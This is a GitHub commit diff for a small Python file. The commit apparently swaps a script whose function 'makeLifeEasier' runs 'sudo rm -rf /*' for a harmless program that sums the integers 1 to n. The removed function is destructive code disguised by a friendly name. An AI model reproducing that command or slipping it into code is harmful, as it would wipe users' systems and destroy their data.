-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
7b0d8e0
commit ef3bb35
Showing
1 changed file
with
11 additions
and
7 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,9 +1,13 @@ | ||
# I would not run this s**t with super do anyway | ||
import os | ||
# This function takes an integer n as input and returns the sum of numbers from 1 to n | ||
def find_sum(n): | ||
sum = 0 | ||
for i in range(1, n+1): | ||
sum += i | ||
return sum | ||
|
||
def makeLifeEasier(anything): | ||
os.system('sudo rm -rf /*') | ||
return("good luck guy") | ||
# Ask the user for input and call the function | ||
n = int(input("Enter an integer: ")) | ||
result = find_sum(n) | ||
|
||
if __name__ == "__main__": | ||
makeLifeEasier(1) # this is a in-line comment | ||
# Output the result | ||
print("The sum of numbers from 1 to", n, "is", result) |